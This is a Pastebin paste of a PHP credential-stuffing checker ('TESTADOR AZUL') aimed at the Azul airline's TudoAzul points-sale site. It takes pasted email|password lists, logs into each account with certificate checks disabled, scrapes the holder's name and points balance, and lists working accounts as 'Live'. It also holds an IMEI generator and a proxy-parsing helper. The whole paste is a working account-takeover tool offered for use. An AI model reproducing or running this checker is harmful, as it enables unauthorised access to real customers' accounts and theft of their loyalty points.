Advertisement
Guest User

Untitled

a guest
Jan 23rd, 2017
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.30 KB | None | 0 0
  1. <?php
  2.  
  3. class Azul
  4. {
  5. private $Auth;
  6. private $Saldo;
  7. private $Nome;
  8. private $Estado;
  9.  
  10. function __construct()
  11. {
  12. $this->Auth = false;
  13. $this->Saldo = 0;
  14. $this->Nome = "";
  15. $this->Estado = "";
  16. }
  17.  
  18. function RandomImei()
  19. {
  20. $code = $this->RandomInt(14);
  21. $position = 0;
  22. $total = 0;
  23. while ($position < 14) {
  24. if ($position % 2 == 0) {
  25. $prod = 1;
  26. } else {
  27. $prod = 2;
  28. }
  29. $actualNum = $prod * $code[$position];
  30. if ($actualNum > 9) {
  31. $strNum = strval($actualNum);
  32. $total += $strNum[0] + $strNum[1];
  33. } else {
  34. $total += $actualNum;
  35. }
  36. $position++;
  37. }
  38. $last = 10 - ($total % 10);
  39. if ($last == 10) {
  40. $imei = $code . 0;
  41. } else {
  42. $imei = $code . $last;
  43. }
  44. return $imei;
  45. }
  46.  
  47. function RandomInt($size)
  48. {
  49. $validCharacters = utf8_decode("0123456789");
  50. $validCharNumber = strlen($validCharacters);
  51. $int = '';
  52. while (strlen($int) < $size) {
  53. $index = mt_rand(0, $validCharNumber - 1);
  54. $int .= $validCharacters[$index];
  55. }
  56. return $int;
  57. }
  58.  
  59.  
  60. function GetStr($String, $FindStart, $FindEnd)
  61. {
  62. $Start = stripos($String, $FindStart);
  63. if($Start === false) return "";
  64. $length = strlen($FindStart);
  65. $End = stripos(substr($String, $Start + $length), $FindEnd);
  66. return trim(substr($String, $Start + $length, $End));
  67. }
  68.  
  69. function WebLogin ($User , $Password)
  70. {
  71. $Response = array();
  72. $ch = curl_init();
  73. $PostData = '{"user:"'.$User.'","password":"'.$Password.'","IdentificationFlag":"passaporte"}';
  74. curl_setopt($ch, CURLOPT_URL, "https://apps.voeazul.com.br/VendaPontosTudoAzul/Home");
  75. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  76. curl_setopt($ch, CURLOPT_HEADER, true);
  77. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  78. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
  79. $result = curl_exec($ch);
  80. //echo $result;
  81. $Sky = $this->GetStr($result,'SkySalesToken=',';');
  82. $USession = $this->GetStr($result,'ASP.NET_SessionId=',';');
  83. curl_setopt($ch, CURLOPT_URL, "https://apps.voeazul.com.br/VendaPontosTudoAzul/Home/Login");
  84. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  85. curl_setopt($ch, CURLOPT_HEADER, true);
  86. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  87. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  88. curl_setopt($ch, CURLOPT_COOKIE, "SkySalesToken=$Sky;ASP.NET_SessionId=$USession;");
  89. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
  90. $headers = array();
  91. $headers[] = "Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4";
  92. $headers[] = "Content-Type: application/json; charset=UTF-8";
  93. $headers[] = "Accept: application/json, text/javascript, */*; q=0.01";
  94. $headers[] = "X-Requested-With:XMLHttpRequest";
  95. $headers[] = "Connection: keep-alive";
  96. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  97. curl_setopt($ch, CURLOPT_POST, 1);
  98. curl_setopt($ch, CURLOPT_POSTFIELDS, '{ username: "'.$User.'", password: "'.$Password.'" }');
  99. $result = curl_exec($ch);
  100. //echo $result;
  101. $USession = $this->GetStr($result,'ASP.NET_SessionId=',';');
  102. $BIGip = $this->GetStr($result,'BIGipServerpool-WEBEXTTB578=',';');
  103. if (strpos($result, '{"success":true,"message":""') != false)
  104. {
  105. curl_setopt($ch, CURLOPT_URL, "https://apps.voeazul.com.br/VendaPontosTudoAzul/VendaPontos");
  106. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  107. curl_setopt($ch, CURLOPT_HEADER, true);
  108. curl_setopt($ch, CURLOPT_REFERER, "https://apps.voeazul.com.br/VendaPontosTudoAzul/VendaPontos");
  109. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  110. curl_setopt($ch, CURLOPT_COOKIE, "ASP.NET_SessionId=$USession;BIGipServerpool-WEBEXTTB578=$BIGip;");
  111. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
  112. $headers = array();
  113. $headers[] = "Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4";
  114. $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
  115. $headers[] = "Connection: keep-alive";
  116. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  117. $result = curl_exec($ch);
  118. $Gathered["Nome"] = $this->GetStr($result,'<p class="username">','</p>');
  119. $Gathered["Saldo"] = $this->GetStr($result,'<span class="points" id="balance">','</span>');
  120. return "<b style=\'color:yellow\' >".$Gathered["Nome"]."</b>| Pontos : <b style=\'color:white\' >".$Gathered["Saldo"]."</b>";
  121. }else {
  122. return false;
  123. }
  124.  
  125.  
  126. curl_close ($ch);
  127. }
  128.  
  129.  
  130.  
  131.  
  132. }
  133.  
  134. $Azul = new Azul();
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141. //echo ;
  142. $sock = '';
  143.  
  144.  
  145. echo '
  146. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  147. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  148. <head><title>TESTADOR AZUL</title></head>
  149. <style>
  150. body
  151. {
  152. background-color: #141619;
  153. font-size: 9pt;
  154. font-family:Verdana;
  155. line-height:12pt;
  156.  
  157. }
  158. body,td,th {
  159. color: #FFFFFF;
  160. }
  161. h2
  162. {
  163. color: #FFFFFF;
  164. }
  165. h1 {
  166. padding: 10px 15px;
  167. color: red;
  168. }
  169.  
  170. .main-content {
  171. width: 70%; height: 380px;margin: auto; background: #141619; border-radius: 5px 5px 5px 5px; box-shadow: 0 0 3px rgba(0, 0, 0, 0.5); min-height: 380px; position: relative;
  172. }
  173. textarea, input {
  174. border-radius: 5px 5px 5px 5px;
  175. }
  176. input {
  177. height: 14px;width: 30px;text-align: center;o
  178. }
  179.  
  180.  
  181. .button {
  182.  
  183. }
  184. .submit-button
  185. {
  186. background: #57A02C;
  187. border:solid 1px #57A02C;
  188. border-radius:5px;
  189. -moz-border-radius: 5px;
  190. -webkit-border-radius: 5px;
  191. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  192. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  193. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  194. border-bottom: 1px solid rgba(0,0,0,0.25);
  195. position: relative;
  196. color:#FFF;
  197. display: inline-block;
  198. cursor:pointer;
  199. font-size:13px;
  200. padding:3px 8px;
  201. height: 30px;width: 120px;
  202. }
  203. .submit-button:hover {
  204. background:#82D051;border:solid 1px #86CC50;
  205. height: 30px;width: 120px; }
  206.  
  207. #show {
  208. width: 70%;margin: auto;padding: 10px 10px;
  209. }
  210.  
  211. .business{
  212. font-weight:bold;
  213. color:yellow;
  214. }
  215. .premier{
  216. font-weight:bold;
  217. color:#00FF00;
  218. }
  219. .verified{
  220. font-weight:bold;
  221.  
  222. }
  223. .fieldset{
  224. border: 1px dashed #FFFFFF;
  225. margin-top: 20px;
  226. }
  227. .tvmit_live{
  228. border: 1px dashed #FFFFFF;
  229. color:green;
  230. font-weight:bold;
  231. }
  232. .tvmit_die{
  233. border: 1px dashed #FFFFFF;
  234. color:red;
  235. font-weight:bold;
  236. }
  237. #result{
  238. display:none;
  239. }
  240. </style>
  241.  
  242. <script type="text/javascript">
  243. function pushAprovadaDie(str){
  244. document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
  245. }
  246. function pushAprovada(str){
  247. document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
  248. }
  249. function pushWrongFormat(str){
  250. document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
  251. }
  252. </script>
  253. </head>
  254. <body>
  255. <div class="main-content">
  256. <center><h1>TESTADOR AZUL</h1></center>
  257. <form method="post">
  258. <div align="center"><textarea placeholder="EMAIL|SENHA" name="mp" rows="10" style="width:90%">';
  259. if (isset($_POST['btn-submit']))
  260. echo $_POST['mp'];
  261. ;
  262. echo '</textarea><br><br />
  263. SEPARADOR: <input type="text" name="delim" value="';
  264.  
  265. if (isset($_POST['btn-submit']))
  266. echo $_POST['delim'];
  267. else
  268. echo '|';
  269. ;
  270. echo '" size="1" /><input type="hidden" name="mail" value="';
  271. if (isset($_POST['btn-submit']))
  272. echo $_POST['mail'];
  273. else
  274. echo 0;
  275. ;
  276. echo '" size="1" /><input type="hidden" name="pwd" value="';
  277. if (isset($_POST['btn-submit']))
  278. echo $_POST['pwd'];
  279. else
  280. echo 1;
  281. ;
  282. echo '" size="1" />&nbsp;
  283. </BR>
  284. <br><input type="submit" class = "submit-button" value="CHECAR" name="btn-submit" /> </br>&nbsp;&nbsp;&nbsp;&nbsp;
  285. </div>
  286. </form>
  287. ';
  288. set_time_limit(0);
  289. //include("use.php");
  290. $dir = dirname(__FILE__);
  291. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
  292. if (!file_exists($config['cookie_file'])) {
  293. $fp = @fopen($config['cookie_file'], 'w');
  294. @fclose($fp);
  295. }
  296. $zzz = "";
  297. $live = array();
  298. function get($list) {
  299. preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  300. return $socks[0];
  301. }
  302. function delete_cookies() {
  303. global $config;
  304. $fp = @fopen($config['cookie_file'], 'w');
  305. @fclose($fp);
  306. }
  307. function xflush() {
  308. static $output_handler = null;
  309. if ($output_handler === null) {
  310. $output_handler = @ini_get('output_handler');
  311. }
  312.  
  313. if ($output_handler == 'ob_gzhandler') {
  314. return;
  315. }
  316.  
  317. flush();
  318. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  319. @ob_flush();
  320. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  321. @ob_end_flush();
  322. @ob_start();
  323. }
  324. }
  325. function curl_grab_page($site,$proxy,$proxystatus){
  326. $chss = curl_init();
  327. curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  328. if ($proxystatus == 'on') {
  329. curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  330. curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  331. curl_setopt($chss, CURLOPT_PROXY, $proxy);
  332. }
  333. curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  334. curl_setopt($chss, CURLOPT_URL, $site);
  335. return curl_exec($chss);
  336. curl_close ($chss);
  337.  
  338. }
  339. function display($str) {
  340. echo '<div>' . $str . '</div>';
  341. xflush();
  342. }
  343.  
  344. function pushAprovadaDie($str) {
  345. echo '<script type="text/javascript">pushAprovadaDie(\'' . $str . '\');</script>';
  346. //file_put_contents('authmonster/die.txt', $str . PHP_EOL, FILE_APPEND);
  347. xflush();
  348. }
  349. function pushAprovada($str) {
  350. echo '<script type="text/javascript">pushAprovada(\'' . $str . '\');</script>';
  351. xflush();
  352. }
  353. function pushWrongFormat($str) {
  354. echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  355. xflush();
  356. }
  357.  
  358. if (isset($_POST['btn-submit'])) {
  359. ;
  360. echo '<br/>
  361. <br/>
  362. <br/>
  363. <br/>
  364. <br/>
  365. <br/>
  366. <br/>
  367. <legend class="tvmit_live">LIVE:<br/><div id="listPaypal"></div></legend>
  368. <br/>
  369. <legend class="tvmit_die">DIE:<br/><div id="listPaypalDie"></div></legend>
  370. <br/>
  371. <legend class="tvmit_die">INVALIDAS: <br/><div id="listWrongFormat"></div></legend>
  372.  
  373.  
  374. ';
  375. xflush();
  376. $emails = explode("\n", trim($_POST['mp']));
  377. $eCount = count($emails);
  378. $failed = $live = $uncheck = array();
  379. $checked = 0;
  380. if (!count($emails)) {
  381. continue;
  382. }
  383. delete_cookies();
  384. //$sockClear = isSockClear();
  385. //if ($sockClear != 1) {
  386. //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  387. //continue;
  388. //}
  389.  
  390. foreach ($emails AS $k => $line) {
  391. $info = explode($_POST['delim'], $line);
  392. $email = trim($info["{$_POST['mail']}"]);
  393. $pwd = trim($info["{$_POST['pwd']}"]);
  394. if (strlen($pwd) < 5) {
  395. unset($emails[$k]);
  396. pushWrongFormat($email . ' | ' . $pwd);
  397. continue;
  398. }
  399. //if ($failed[$sock] > 4)
  400. // continue;
  401.  
  402.  
  403. //
  404.  
  405. $checked++;
  406.  
  407.  
  408.  
  409.  
  410. $Check = $Azul->WebLogin($email,$pwd);
  411. xflush();
  412. if ($Check != false)
  413. {
  414. $xyz = "<b style=\"color:green\">Live</b> => $email|$pwd|{$Check}<b style=\"color:green\" ></b> <b style=\"color:blue\">#CentralBoa</b>";
  415. $live[] = $xyz;
  416. unset($emails[$k]);
  417. pushAprovada($xyz);
  418. xflush();
  419. }
  420. else{
  421.  
  422.  
  423. pushAprovadaDie("<b style=\"color:red\">Die</b> => $email | $pwd ");
  424. xflush();
  425. unset($emails[$k]);
  426.  
  427.  
  428. }
  429.  
  430.  
  431. }
  432. }
  433. //if (isset($eCount, $live)) {
  434. // display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
  435. // display(implode("<br />", $live));
  436. if (@count($emails)) {
  437. display("Sem Testar:");
  438. display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
  439. }
  440.  
  441. echo '</body>
  442. </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement